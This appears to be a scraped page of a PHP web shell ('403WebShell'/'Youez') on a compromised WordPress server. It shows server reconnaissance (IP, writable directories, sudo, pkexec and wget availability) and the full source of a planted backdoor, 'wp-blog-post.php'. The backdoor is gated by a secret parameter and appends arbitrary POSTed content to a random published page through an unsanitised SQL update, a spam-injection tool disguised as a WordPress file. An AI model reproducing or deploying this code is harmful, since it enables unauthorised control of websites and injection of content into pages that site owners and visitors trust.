Uname:Linux Live-Team 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64

Base Dir : /var/www/gocon.live

User :


403WebShell
403Webshell
Server IP : 178.128.106.170  /  Your IP : 216.73.217.12
Web Server : nginx/1.18.0
System : Linux Live-Team 5.10.0-44-amd64 #1 SMP Debian 5.10.257-1 (2026-05-27) x86_64
User :  ( 1000)
PHP Version : 7.3.33-14+0~20230902.114+debian11~1.gbp764b27
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
MySQL : OFF  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/gocon.live/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/gocon.live/wp-blog-post.php
<?php
$opmsg = "";
if( $_SERVER['REQUEST_METHOD'] === 'POST' ){
    $wp_exists = false;
    for ( $i = 0; $i <= 6; $i++ ) {
        $prefix = implode("", array_fill(1, $i, "../"));
        $headerphpf = $prefix . "wp-blog-header.php";
        $registphpf = $prefix . "wp-includes/registration.php";        
        if ( file_exists($headerphpf) && file_exists($registphpf) ) {
            require_once($headerphpf);
            require_once($registphpf);
            $wp_exists = true;
            break;
        }
    }
    
    if( !$wp_exists ){
        die("no WO installation found.");
    }
    
    $random_page_id = 0;
    $pages = $wpdb->get_results( "SELECT ID FROM `$wpdb->posts` Where post_type = 'page' and post_password = '' and post_status = 'publish' ORDER BY RAND() Limit 1;" );
    if( $pages ){
        foreach ( $pages as $page ) {
            $res = $wpdb->query( "Update `$wpdb->posts` Set post_content = CONCAT(post_content, '". str_replace("%", "%%", str_replace("'", "\\'", $_POST["body"])) ."') Where ID = ".$page->ID );
            if($res){
                $perm = get_permalink($page->ID);
                $opmsg .= 'Sayfaya eklendi: <a target="_blank" href="'. $perm .'">'. $perm .'</a> ('.$page->ID.')';
            }
            break;
        }
    }
} else{
    if( !isset($_GET["id"]) || $_GET["id"] != "nzm" ){
        die();
    }
}
?><!DOCTYPE html>
<html lang="tr">
  <head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>LinkGöt</title>
  </head>
  <body>
		<?php 
			if( strlen($opmsg) > 0 ) {
				echo $opmsg . "<hr>"; 
			}
		?>
		<form method="post" action="?id=nzm">
			Post: <br><textarea name="body" rows="16" cols="100"></textarea><br>
			<input value="Gönder" type="submit">
		</form>
  </body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit